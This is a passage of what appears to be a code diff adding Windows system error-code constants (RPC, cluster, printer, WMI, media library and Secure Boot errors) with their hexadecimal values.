+RPC_S_MAX_CALLS_TOO_SMALL                                                = 0x000006ce
+RPC_S_STRING_TOO_LONG                                                    = 0x000006cf
+RPC_S_PROTSEQ_NOT_FOUND                                                  = 0x000006d0
+RPC_S_PROCNUM_OUT_OF_RANGE                                               = 0x000006d1
+RPC_S_BINDING_HAS_NO_AUTH                                                = 0x000006d2
+RPC_S_UNKNOWN_AUTHN_SERVICE                                              = 0x000006d3
+RPC_S_UNKNOWN_AUTHN_LEVEL                                                = 0x000006d4
+RPC_S_INVALID_AUTH_IDENTITY                                              = 0x000006d5
+RPC_S_UNKNOWN_AUTHZ_SERVICE                                              = 0x000006d6
+EPT_S_INVALID_ENTRY                                                      = 0x000006d7
+EPT_S_CANT_PERFORM_OP                                                    = 0x000006d8
+EPT_S_NOT_REGISTERED                                                     = 0x000006d9
+RPC_S_NOTHING_TO_EXPORT                                                  = 0x000006da
+RPC_S_INCOMPLETE_NAME                                                    = 0x000006db
+RPC_S_INVALID_VERS_OPTION                                                = 0x000006dc
+RPC_S_NO_MORE_MEMBERS                                                    = 0x000006dd
+RPC_S_NOT_ALL_OBJS_UNEXPORTED                                            = 0x000006de
+RPC_S_INTERFACE_NOT_FOUND                                                = 0x000006df
+RPC_S_ENTRY_ALREADY_EXISTS                                               = 0x000006e0
+RPC_S_ENTRY_NOT_FOUND                                                    = 0x000006e1
+RPC_S_NAME_SERVICE_UNAVAILABLE                                           = 0x000006e2
+RPC_S_INVALID_NAF_ID                                                     = 0x000006e3
+RPC_S_CANNOT_SUPPORT                                                     = 0x000006e4
+RPC_S_NO_CONTEXT_AVAILABLE                                               = 0x000006e5
+RPC_S_INTERNAL_ERROR                                                     = 0x000006e6
+RPC_S_ZERO_DIVIDE                                                        = 0x000006e7
+RPC_S_ADDRESS_ERROR                                                      = 0x000006e8
+RPC_S_FP_DIV_ZERO                                                        = 0x000006e9
+RPC_S_FP_UNDERFLOW                                                       = 0x000006ea
+RPC_S_FP_OVERFLOW                                                        = 0x000006eb
+RPC_X_NO_MORE_ENTRIES                                                    = 0x000006ec
+RPC_X_SS_CHAR_TRANS_OPEN_FAIL                                            = 0x000006ed
+RPC_X_SS_CHAR_TRANS_SHORT_FILE                                           = 0x000006ee
+RPC_X_SS_IN_NULL_CONTEXT                                                 = 0x000006ef
+RPC_X_SS_CONTEXT_DAMAGED                                                 = 0x000006f1
+RPC_X_SS_HANDLES_MISMATCH                                                = 0x000006f2
+RPC_X_SS_CANNOT_GET_CALL_HANDLE                                          = 0x000006f3
+RPC_X_NULL_REF_POINTER                                                   = 0x000006f4
+RPC_X_ENUM_VALUE_OUT_OF_RANGE                                            = 0x000006f5
+RPC_X_BYTE_COUNT_TOO_SMALL                                               = 0x000006f6
+RPC_X_BAD_STUB_DATA                                                      = 0x000006f7
+ERROR_INVALID_USER_BUFFER                                                = 0x000006f8
+ERROR_UNRECOGNIZED_MEDIA                                                 = 0x000006f9
+ERROR_NO_TRUST_LSA_SECRET                                                = 0x000006fa
+ERROR_NO_TRUST_SAM_ACCOUNT                                               = 0x000006fb
+ERROR_TRUSTED_DOMAIN_FAILURE                                             = 0x000006fc
+ERROR_TRUSTED_RELATIONSHIP_FAILURE                                       = 0x000006fd
+ERROR_TRUST_FAILURE                                                      = 0x000006fe
+RPC_S_CALL_IN_PROGRESS                                                   = 0x000006ff
+ERROR_NETLOGON_NOT_STARTED                                               = 0x00000700
+ERROR_ACCOUNT_EXPIRED                                                    = 0x00000701
+ERROR_REDIRECTOR_HAS_OPEN_HANDLES                                        = 0x00000702
+ERROR_PRINTER_DRIVER_ALREADY_INSTALLED                                   = 0x00000703
+ERROR_UNKNOWN_PORT                                                       = 0x00000704
+ERROR_UNKNOWN_PRINTER_DRIVER                                             = 0x00000705
+ERROR_UNKNOWN_PRINTPROCESSOR                                             = 0x00000706
+ERROR_INVALID_SEPARATOR_FILE                                             = 0x00000707
+ERROR_INVALID_PRIORITY                                                   = 0x00000708
+ERROR_INVALID_PRINTER_NAME                                               = 0x00000709
+ERROR_PRINTER_ALREADY_EXISTS                                             = 0x0000070a
+ERROR_INVALID_PRINTER_COMMAND                                            = 0x0000070b
+ERROR_INVALID_DATATYPE                                                   = 0x0000070c
+ERROR_INVALID_ENVIRONMENT                                                = 0x0000070d
+RPC_S_NO_MORE_BINDINGS                                                   = 0x0000070e
+ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT                                  = 0x0000070f
+ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT                                  = 0x00000710
+ERROR_NOLOGON_SERVER_TRUST_ACCOUNT                                       = 0x00000711
+ERROR_DOMAIN_TRUST_INCONSISTENT                                          = 0x00000712
+ERROR_SERVER_HAS_OPEN_HANDLES                                            = 0x00000713
+ERROR_RESOURCE_DATA_NOT_FOUND                                            = 0x00000714
+ERROR_RESOURCE_TYPE_NOT_FOUND                                            = 0x00000715
+ERROR_RESOURCE_NAME_NOT_FOUND                                            = 0x00000716
+ERROR_RESOURCE_LANG_NOT_FOUND                                            = 0x00000717
+ERROR_NOT_ENOUGH_QUOTA                                                   = 0x00000718
+RPC_S_NO_INTERFACES                                                      = 0x00000719
+RPC_S_CALL_CANCELLED                                                     = 0x0000071a
+RPC_S_BINDING_INCOMPLETE                                                 = 0x0000071b
+RPC_S_COMM_FAILURE                                                       = 0x0000071c
+RPC_S_UNSUPPORTED_AUTHN_LEVEL                                            = 0x0000071d
+RPC_S_NO_PRINC_NAME                                                      = 0x0000071e
+RPC_S_NOT_RPC_ERROR                                                      = 0x0000071f
+RPC_S_UUID_LOCAL_ONLY                                                    = 0x00000720
+RPC_S_SEC_PKG_ERROR                                                      = 0x00000721
+RPC_S_NOT_CANCELLED                                                      = 0x00000722
+RPC_X_INVALID_ES_ACTION                                                  = 0x00000723
+RPC_X_WRONG_ES_VERSION                                                   = 0x00000724
+RPC_X_WRONG_STUB_VERSION                                                 = 0x00000725
+RPC_X_INVALID_PIPE_OBJECT                                                = 0x00000726
+RPC_X_WRONG_PIPE_ORDER                                                   = 0x00000727
+RPC_X_WRONG_PIPE_VERSION                                                 = 0x00000728
+RPC_S_COOKIE_AUTH_FAILED                                                 = 0x00000729
+RPC_S_GROUP_MEMBER_NOT_FOUND                                             = 0x0000076a
+EPT_S_CANT_CREATE                                                        = 0x0000076b
+RPC_S_INVALID_OBJECT                                                     = 0x0000076c
+ERROR_INVALID_TIME                                                       = 0x0000076d
+ERROR_INVALID_FORM_NAME                                                  = 0x0000076e
+ERROR_INVALID_FORM_SIZE                                                  = 0x0000076f
+ERROR_ALREADY_WAITING                                                    = 0x00000770
+ERROR_PRINTER_DELETED                                                    = 0x00000771
+ERROR_INVALID_PRINTER_STATE                                              = 0x00000772
+ERROR_PASSWORD_MUST_CHANGE                                               = 0x00000773
+ERROR_DOMAIN_CONTROLLER_NOT_FOUND                                        = 0x00000774
+ERROR_ACCOUNT_LOCKED_OUT                                                 = 0x00000775
+OR_INVALID_OXID                                                          = 0x00000776
+OR_INVALID_OID                                                           = 0x00000777
+OR_INVALID_SET                                                           = 0x00000778
+RPC_S_SEND_INCOMPLETE                                                    = 0x00000779
+RPC_S_INVALID_ASYNC_HANDLE                                               = 0x0000077a
+RPC_S_INVALID_ASYNC_CALL                                                 = 0x0000077b
+RPC_X_PIPE_CLOSED                                                        = 0x0000077c
+RPC_X_PIPE_DISCIPLINE_ERROR                                              = 0x0000077d
+RPC_X_PIPE_EMPTY                                                         = 0x0000077e
+ERROR_NO_SITENAME                                                        = 0x0000077f
+ERROR_CANT_ACCESS_FILE                                                   = 0x00000780
+ERROR_CANT_RESOLVE_FILENAME                                              = 0x00000781
+RPC_S_ENTRY_TYPE_MISMATCH                                                = 0x00000782
+RPC_S_NOT_ALL_OBJS_EXPORTED                                              = 0x00000783
+RPC_S_INTERFACE_NOT_EXPORTED                                             = 0x00000784
+RPC_S_PROFILE_NOT_ADDED                                                  = 0x00000785
+RPC_S_PRF_ELT_NOT_ADDED                                                  = 0x00000786
+RPC_S_PRF_ELT_NOT_REMOVED                                                = 0x00000787
+RPC_S_GRP_ELT_NOT_ADDED                                                  = 0x00000788
+RPC_S_GRP_ELT_NOT_REMOVED                                                = 0x00000789
+ERROR_KM_DRIVER_BLOCKED                                                  = 0x0000078a
+ERROR_CONTEXT_EXPIRED                                                    = 0x0000078b
+ERROR_PER_USER_TRUST_QUOTA_EXCEEDED                                      = 0x0000078c
+ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED                                      = 0x0000078d
+ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED                                   = 0x0000078e
+ERROR_AUTHENTICATION_FIREWALL_FAILED                                     = 0x0000078f
+ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED                                   = 0x00000790
+ERROR_NTLM_BLOCKED                                                       = 0x00000791
+ERROR_PASSWORD_CHANGE_REQUIRED                                           = 0x00000792
+ERROR_INVALID_PIXEL_FORMAT                                               = 0x000007d0
+ERROR_BAD_DRIVER                                                         = 0x000007d1
+ERROR_INVALID_WINDOW_STYLE                                               = 0x000007d2
+ERROR_METAFILE_NOT_SUPPORTED                                             = 0x000007d3
+ERROR_TRANSFORM_NOT_SUPPORTED                                            = 0x000007d4
+ERROR_CLIPPING_NOT_SUPPORTED                                             = 0x000007d5
+ERROR_INVALID_CMM                                                        = 0x000007da
+ERROR_INVALID_PROFILE                                                    = 0x000007db
+ERROR_TAG_NOT_FOUND                                                      = 0x000007dc
+ERROR_TAG_NOT_PRESENT                                                    = 0x000007dd
+ERROR_DUPLICATE_TAG                                                      = 0x000007de
+ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE                                 = 0x000007df
+ERROR_PROFILE_NOT_FOUND                                                  = 0x000007e0
+ERROR_INVALID_COLORSPACE                                                 = 0x000007e1
+ERROR_ICM_NOT_ENABLED                                                    = 0x000007e2
+ERROR_DELETING_ICM_XFORM                                                 = 0x000007e3
+ERROR_INVALID_TRANSFORM                                                  = 0x000007e4
+ERROR_COLORSPACE_MISMATCH                                                = 0x000007e5
+ERROR_INVALID_COLORINDEX                                                 = 0x000007e6
+ERROR_PROFILE_DOES_NOT_MATCH_DEVICE                                      = 0x000007e7
+ERROR_CONNECTED_OTHER_PASSWORD                                           = 0x0000083c
+ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT                                   = 0x0000083d
+ERROR_BAD_USERNAME                                                       = 0x0000089a
+ERROR_NOT_CONNECTED                                                      = 0x000008ca
+ERROR_OPEN_FILES                                                         = 0x00000961
+ERROR_ACTIVE_CONNECTIONS                                                 = 0x00000962
+ERROR_DEVICE_IN_USE                                                      = 0x00000964
+ERROR_UNKNOWN_PRINT_MONITOR                                              = 0x00000bb8
+ERROR_PRINTER_DRIVER_IN_USE                                              = 0x00000bb9
+ERROR_SPOOL_FILE_NOT_FOUND                                               = 0x00000bba
+ERROR_SPL_NO_STARTDOC                                                    = 0x00000bbb
+ERROR_SPL_NO_ADDJOB                                                      = 0x00000bbc
+ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED                                  = 0x00000bbd
+ERROR_PRINT_MONITOR_ALREADY_INSTALLED                                    = 0x00000bbe
+ERROR_INVALID_PRINT_MONITOR                                              = 0x00000bbf
+ERROR_PRINT_MONITOR_IN_USE                                               = 0x00000bc0
+ERROR_PRINTER_HAS_JOBS_QUEUED                                            = 0x00000bc1
+ERROR_SUCCESS_REBOOT_REQUIRED                                            = 0x00000bc2
+ERROR_SUCCESS_RESTART_REQUIRED                                           = 0x00000bc3
+ERROR_PRINTER_NOT_FOUND                                                  = 0x00000bc4
+ERROR_PRINTER_DRIVER_WARNED                                              = 0x00000bc5
+ERROR_PRINTER_DRIVER_BLOCKED                                             = 0x00000bc6
+ERROR_PRINTER_DRIVER_PACKAGE_IN_USE                                      = 0x00000bc7
+ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND                                      = 0x00000bc8
+ERROR_FAIL_REBOOT_REQUIRED                                               = 0x00000bc9
+ERROR_FAIL_REBOOT_INITIATED                                              = 0x00000bca
+ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED                                     = 0x00000bcb
+ERROR_PRINT_JOB_RESTART_REQUIRED                                         = 0x00000bcc
+ERROR_INVALID_PRINTER_DRIVER_MANIFEST                                    = 0x00000bcd
+ERROR_PRINTER_NOT_SHAREABLE                                              = 0x00000bce
+ERROR_REQUEST_PAUSED                                                     = 0x00000bea
+ERROR_IO_REISSUE_AS_CACHED                                               = 0x00000f6e
+ERROR_WINS_INTERNAL                                                      = 0x00000fa0
+ERROR_CAN_NOT_DEL_LOCAL_WINS                                             = 0x00000fa1
+ERROR_STATIC_INIT                                                        = 0x00000fa2
+ERROR_INC_BACKUP                                                         = 0x00000fa3
+ERROR_FULL_BACKUP                                                        = 0x00000fa4
+ERROR_REC_NON_EXISTENT                                                   = 0x00000fa5
+ERROR_RPL_NOT_ALLOWED                                                    = 0x00000fa6
+PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED                           = 0x00000fd2
+PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO                                  = 0x00000fd3
+PEERDIST_ERROR_MISSING_DATA                                              = 0x00000fd4
+PEERDIST_ERROR_NO_MORE                                                   = 0x00000fd5
+PEERDIST_ERROR_NOT_INITIALIZED                                           = 0x00000fd6
+PEERDIST_ERROR_ALREADY_INITIALIZED                                       = 0x00000fd7
+PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS                                      = 0x00000fd8
+PEERDIST_ERROR_INVALIDATED                                               = 0x00000fd9
+PEERDIST_ERROR_ALREADY_EXISTS                                            = 0x00000fda
+PEERDIST_ERROR_OPERATION_NOTFOUND                                        = 0x00000fdb
+PEERDIST_ERROR_ALREADY_COMPLETED                                         = 0x00000fdc
+PEERDIST_ERROR_OUT_OF_BOUNDS                                             = 0x00000fdd
+PEERDIST_ERROR_VERSION_UNSUPPORTED                                       = 0x00000fde
+PEERDIST_ERROR_INVALID_CONFIGURATION                                     = 0x00000fdf
+PEERDIST_ERROR_NOT_LICENSED                                              = 0x00000fe0
+PEERDIST_ERROR_SERVICE_UNAVAILABLE                                       = 0x00000fe1
+PEERDIST_ERROR_TRUST_FAILURE                                             = 0x00000fe2
+ERROR_DHCP_ADDRESS_CONFLICT                                              = 0x00001004
+ERROR_WMI_GUID_NOT_FOUND                                                 = 0x00001068
+ERROR_WMI_INSTANCE_NOT_FOUND                                             = 0x00001069
+ERROR_WMI_ITEMID_NOT_FOUND                                               = 0x0000106a
+ERROR_WMI_TRY_AGAIN                                                      = 0x0000106b
+ERROR_WMI_DP_NOT_FOUND                                                   = 0x0000106c
+ERROR_WMI_UNRESOLVED_INSTANCE_REF                                        = 0x0000106d
+ERROR_WMI_ALREADY_ENABLED                                                = 0x0000106e
+ERROR_WMI_GUID_DISCONNECTED                                              = 0x0000106f
+ERROR_WMI_SERVER_UNAVAILABLE                                             = 0x00001070
+ERROR_WMI_DP_FAILED                                                      = 0x00001071
+ERROR_WMI_INVALID_MOF                                                    = 0x00001072
+ERROR_WMI_INVALID_REGINFO                                                = 0x00001073
+ERROR_WMI_ALREADY_DISABLED                                               = 0x00001074
+ERROR_WMI_READ_ONLY                                                      = 0x00001075
+ERROR_WMI_SET_FAILURE                                                    = 0x00001076
+ERROR_NOT_APPCONTAINER                                                   = 0x0000109a
+ERROR_APPCONTAINER_REQUIRED                                              = 0x0000109b
+ERROR_NOT_SUPPORTED_IN_APPCONTAINER                                      = 0x0000109c
+ERROR_INVALID_PACKAGE_SID_LENGTH                                         = 0x0000109d
+ERROR_INVALID_MEDIA                                                      = 0x000010cc
+ERROR_INVALID_LIBRARY                                                    = 0x000010cd
+ERROR_INVALID_MEDIA_POOL                                                 = 0x000010ce
+ERROR_DRIVE_MEDIA_MISMATCH                                               = 0x000010cf
+ERROR_MEDIA_OFFLINE                                                      = 0x000010d0
+ERROR_LIBRARY_OFFLINE                                                    = 0x000010d1
+ERROR_EMPTY                                                              = 0x000010d2
+ERROR_NOT_EMPTY                                                          = 0x000010d3
+ERROR_MEDIA_UNAVAILABLE                                                  = 0x000010d4
+ERROR_RESOURCE_DISABLED                                                  = 0x000010d5
+ERROR_INVALID_CLEANER                                                    = 0x000010d6
+ERROR_UNABLE_TO_CLEAN                                                    = 0x000010d7
+ERROR_OBJECT_NOT_FOUND                                                   = 0x000010d8
+ERROR_DATABASE_FAILURE                                                   = 0x000010d9
+ERROR_DATABASE_FULL                                                      = 0x000010da
+ERROR_MEDIA_INCOMPATIBLE                                                 = 0x000010db
+ERROR_RESOURCE_NOT_PRESENT                                               = 0x000010dc
+ERROR_INVALID_OPERATION                                                  = 0x000010dd
+ERROR_MEDIA_NOT_AVAILABLE                                                = 0x000010de
+ERROR_DEVICE_NOT_AVAILABLE                                               = 0x000010df
+ERROR_REQUEST_REFUSED                                                    = 0x000010e0
+ERROR_INVALID_DRIVE_OBJECT                                               = 0x000010e1
+ERROR_LIBRARY_FULL                                                       = 0x000010e2
+ERROR_MEDIUM_NOT_ACCESSIBLE                                              = 0x000010e3
+ERROR_UNABLE_TO_LOAD_MEDIUM                                              = 0x000010e4
+ERROR_UNABLE_TO_INVENTORY_DRIVE                                          = 0x000010e5
+ERROR_UNABLE_TO_INVENTORY_SLOT                                           = 0x000010e6
+ERROR_UNABLE_TO_INVENTORY_TRANSPORT                                      = 0x000010e7
+ERROR_TRANSPORT_FULL                                                     = 0x000010e8
+ERROR_CONTROLLING_IEPORT                                                 = 0x000010e9
+ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA                                      = 0x000010ea
+ERROR_CLEANER_SLOT_SET                                                   = 0x000010eb
+ERROR_CLEANER_SLOT_NOT_SET                                               = 0x000010ec
+ERROR_CLEANER_CARTRIDGE_SPENT                                            = 0x000010ed
+ERROR_UNEXPECTED_OMID                                                    = 0x000010ee
+ERROR_CANT_DELETE_LAST_ITEM                                              = 0x000010ef
+ERROR_MESSAGE_EXCEEDS_MAX_SIZE                                           = 0x000010f0
+ERROR_VOLUME_CONTAINS_SYS_FILES                                          = 0x000010f1
+ERROR_INDIGENOUS_TYPE                                                    = 0x000010f2
+ERROR_NO_SUPPORTING_DRIVES                                               = 0x000010f3
+ERROR_CLEANER_CARTRIDGE_INSTALLED                                        = 0x000010f4
+ERROR_IEPORT_FULL                                                        = 0x000010f5
+ERROR_FILE_OFFLINE                                                       = 0x000010fe
+ERROR_REMOTE_STORAGE_NOT_ACTIVE                                          = 0x000010ff
+ERROR_REMOTE_STORAGE_MEDIA_ERROR                                         = 0x00001100
+ERROR_NOT_A_REPARSE_POINT                                                = 0x00001126
+ERROR_REPARSE_ATTRIBUTE_CONFLICT                                         = 0x00001127
+ERROR_INVALID_REPARSE_DATA                                               = 0x00001128
+ERROR_REPARSE_TAG_INVALID                                                = 0x00001129
+ERROR_REPARSE_TAG_MISMATCH                                               = 0x0000112a
+ERROR_APP_DATA_NOT_FOUND                                                 = 0x00001130
+ERROR_APP_DATA_EXPIRED                                                   = 0x00001131
+ERROR_APP_DATA_CORRUPT                                                   = 0x00001132
+ERROR_APP_DATA_LIMIT_EXCEEDED                                            = 0x00001133
+ERROR_APP_DATA_REBOOT_REQUIRED                                           = 0x00001134
+ERROR_SECUREBOOT_ROLLBACK_DETECTED                                       = 0x00001144
+ERROR_SECUREBOOT_POLICY_VIOLATION                                        = 0x00001145
+ERROR_SECUREBOOT_INVALID_POLICY                                          = 0x00001146
+ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND                              = 0x00001147
+ERROR_SECUREBOOT_POLICY_NOT_SIGNED                                       = 0x00001148
+ERROR_SECUREBOOT_NOT_ENABLED                                             = 0x00001149
+ERROR_SECUREBOOT_FILE_REPLACED                                           = 0x0000114a
+ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED                                     = 0x00001158
+ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED                                    = 0x00001159
+ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED                                    = 0x0000115a
+ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED                                   = 0x0000115b
+ERROR_VOLUME_NOT_SIS_ENABLED                                             = 0x00001194
+ERROR_DEPENDENT_RESOURCE_EXISTS                                          = 0x00001389
+ERROR_DEPENDENCY_NOT_FOUND                                               = 0x0000138a
+ERROR_DEPENDENCY_ALREADY_EXISTS                                          = 0x0000138b
+ERROR_RESOURCE_NOT_ONLINE                                                = 0x0000138c
+ERROR_HOST_NODE_NOT_AVAILABLE                                            = 0x0000138d
+ERROR_RESOURCE_NOT_AVAILABLE                                             = 0x0000138e
+ERROR_RESOURCE_NOT_FOUND                                                 = 0x0000138f
+ERROR_SHUTDOWN_CLUSTER                                                   = 0x00001390
+ERROR_CANT_EVICT_ACTIVE_NODE                                             = 0x00001391
+ERROR_OBJECT_ALREADY_EXISTS                                              = 0x00001392
+ERROR_OBJECT_IN_LIST                                                     = 0x00001393
+ERROR_GROUP_NOT_AVAILABLE                                                = 0x00001394
+ERROR_GROUP_NOT_FOUND                                                    = 0x00001395
+ERROR_GROUP_NOT_ONLINE                                                   = 0x00001396
+ERROR_HOST_NODE_NOT_RESOURCE_OWNER                                       = 0x00001397
+ERROR_HOST_NODE_NOT_GROUP_OWNER                                          = 0x00001398
+ERROR_RESMON_CREATE_FAILED                                               = 0x00001399
+ERROR_RESMON_ONLINE_FAILED                                               = 0x0000139a
+ERROR_RESOURCE_ONLINE                                                    = 0x0000139b
+ERROR_QUORUM_RESOURCE                                                    = 0x0000139c
+ERROR_NOT_QUORUM_CAPABLE                                                 = 0x0000139d
+ERROR_CLUSTER_SHUTTING_DOWN                                              = 0x0000139e
+ERROR_INVALID_STATE                                                      = 0x0000139f
+ERROR_RESOURCE_PROPERTIES_STORED                                         = 0x000013a0
+ERROR_NOT_QUORUM_CLASS                                                   = 0x000013a1
+ERROR_CORE_RESOURCE                                                      = 0x000013a2
+ERROR_QUORUM_RESOURCE_ONLINE_FAILED                                      = 0x000013a3
+ERROR_QUORUMLOG_OPEN_FAILED                                              = 0x000013a4
+ERROR_CLUSTERLOG_CORRUPT                                                 = 0x000013a5
+ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE                                  = 0x000013a6
+ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE                                         = 0x000013a7
+ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND                                      = 0x000013a8
+ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE                                        = 0x000013a9
+ERROR_QUORUM_OWNER_ALIVE                                                 = 0x000013aa
+ERROR_NETWORK_NOT_AVAILABLE                                              = 0x000013ab
+ERROR_NODE_NOT_AVAILABLE                                                 = 0x000013ac
+ERROR_ALL_NODES_NOT_AVAILABLE                                            = 0x000013ad
+ERROR_RESOURCE_FAILED                                                    = 0x000013ae
+ERROR_CLUSTER_INVALID_NODE                                               = 0x000013af
+ERROR_CLUSTER_NODE_EXISTS                                                = 0x000013b0
+ERROR_CLUSTER_JOIN_IN_PROGRESS                                           = 0x000013b1
+ERROR_CLUSTER_NODE_NOT_FOUND                                             = 0x000013b2
+ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND                                       = 0x000013b3
+ERROR_CLUSTER_NETWORK_EXISTS                                             = 0x000013b4
+ERROR_CLUSTER_NETWORK_NOT_FOUND                                          = 0x000013b5
+ERROR_CLUSTER_NETINTERFACE_EXISTS                                        = 0x000013b6
+ERROR_CLUSTER_NETINTERFACE_NOT_FOUND                                     = 0x000013b7
+ERROR_CLUSTER_INVALID_REQUEST                                            = 0x000013b8
+ERROR_CLUSTER_INVALID_NETWORK_PROVIDER                                   = 0x000013b9
+ERROR_CLUSTER_NODE_DOWN                                                  = 0x000013ba
+ERROR_CLUSTER_NODE_UNREACHABLE                                           = 0x000013bb
+ERROR_CLUSTER_NODE_NOT_MEMBER                                            = 0x000013bc
+ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS                                       = 0x000013bd
+ERROR_CLUSTER_INVALID_NETWORK                                            = 0x000013be
+ERROR_CLUSTER_NODE_UP                                                    = 0x000013c0
+ERROR_CLUSTER_IPADDR_IN_USE                                              = 0x000013c1
+ERROR_CLUSTER_NODE_NOT_PAUSED                                            = 0x000013c2
+ERROR_CLUSTER_NO_SECURITY_CONTEXT                                        = 0x000013c3
+ERROR_CLUSTER_NETWORK_NOT_INTERNAL                                       = 0x000013c4
+ERROR_CLUSTER_NODE_ALREADY_UP                                            = 0x000013c5
+ERROR_CLUSTER_NODE_ALREADY_DOWN                                          = 0x000013c6
+ERROR_CLUSTER_NETWORK_ALREADY_ONLINE                                     = 0x000013c7
+ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE                                    = 0x000013c8
+ERROR_CLUSTER_NODE_ALREADY_MEMBER                                        = 0x000013c9
+ERROR_CLUSTER_LAST_INTERNAL_NETWORK                                      = 0x000013ca
+ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS                                     = 0x000013cb
+ERROR_INVALID_OPERATION_ON_QUORUM                                        = 0x000013cc
+ERROR_DEPENDENCY_NOT_ALLOWED                                             = 0x000013cd
+ERROR_CLUSTER_NODE_PAUSED                                                = 0x000013ce
+ERROR_NODE_CANT_HOST_RESOURCE                                            = 0x000013cf
+ERROR_CLUSTER_NODE_NOT_READY                                             = 0x000013d0
+ERROR_CLUSTER_NODE_SHUTTING_DOWN                                         = 0x000013d1
+ERROR_CLUSTER_JOIN_ABORTED                                               = 0x000013d2
+ERROR_CLUSTER_INCOMPATIBLE_VERSIONS                                      = 0x000013d3
+ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED                               = 0x000013d4
+ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED                                      = 0x000013d5
+ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND                                    = 0x000013d6
+ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED                                      = 0x000013d7
+ERROR_CLUSTER_RESNAME_NOT_FOUND                                          = 0x000013d8
+ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED                                 = 0x000013d9
+ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST                                      = 0x000013da
+ERROR_CLUSTER_DATABASE_SEQMISMATCH                                       = 0x000013db
+ERROR_RESMON_INVALID_STATE                                               = 0x000013dc
+ERROR_CLUSTER_GUM_NOT_LOCKER                                             = 0x000013dd
+ERROR_QUORUM_DISK_NOT_FOUND                                              = 0x000013de
+ERROR_DATABASE_BACKUP_CORRUPT                                            = 0x000013df
+ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT                                  = 0x000013e0
+ERROR_RESOURCE_PROPERTY_UNCHANGEABLE                                     = 0x000013e1
+ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE                                   = 0x00001702
+ERROR_CLUSTER_QUORUMLOG_NOT_FOUND                                        = 0x00001703
+ERROR_CLUSTER_MEMBERSHIP_HALT                                            = 0x00001704
+ERROR_CLUSTER_INSTANCE_ID_MISMATCH                                       = 0x00001705
+ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP                                   = 0x00001706
+ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH                                = 0x00001707
+ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP                                      = 0x00001708
+ERROR_CLUSTER_PARAMETER_MISMATCH                                         = 0x00001709
+ERROR_NODE_CANNOT_BE_CLUSTERED                                           = 0x0000170a
+ERROR_CLUSTER_WRONG_OS_VERSION                                           = 0x0000170b
+ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME                               = 0x0000170c
+ERROR_CLUSCFG_ALREADY_COMMITTED                                          = 0x0000170d
+ERROR_CLUSCFG_ROLLBACK_FAILED                                            = 0x0000170e
+ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT                          = 0x0000170f
+ERROR_CLUSTER_OLD_VERSION                                                = 0x00001710
+ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME                              = 0x00001711
+ERROR_CLUSTER_NO_NET_ADAPTERS                                            = 0x00001712
+ERROR_CLUSTER_POISONED                                                   = 0x00001713
+ERROR_CLUSTER_GROUP_MOVING                                               = 0x00001714
+ERROR_CLUSTER_RESOURCE_TYPE_BUSY                                         = 0x00001715
+ERROR_RESOURCE_CALL_TIMED_OUT                                            = 0x00001716
+ERROR_INVALID_CLUSTER_IPV6_ADDRESS                                       = 0x00001717
+ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION                                  = 0x00001718
+ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS                                    = 0x00001719
+ERROR_CLUSTER_PARTIAL_SEND                                               = 0x0000171a
+ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION                                  = 0x0000171b
+ERROR_CLUSTER_INVALID_STRING_TERMINATION                                 = 0x0000171c
+ERROR_CLUSTER_INVALID_STRING_FORMAT                                      = 0x0000171d
+ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS                           = 0x0000171e
+ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS                       = 0x0000171f
+ERROR_CLUSTER_NULL_DATA                                                  = 0x00001720
+ERROR_CLUSTER_PARTIAL_READ                                               = 0x00001721
+ERROR_CLUSTER_PARTIAL_WRITE                                              = 0x00001722
+ERROR_CLUSTER_CANT_DESERIALIZE_DATA                                      = 0x00001723
+ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT                               = 0x00001724
+ERROR_CLUSTER_NO_QUORUM                                                  = 0x00001725
+ERROR_CLUSTER_INVALID_IPV6_NETWORK                                       = 0x00001726
+ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK                                = 0x00001727
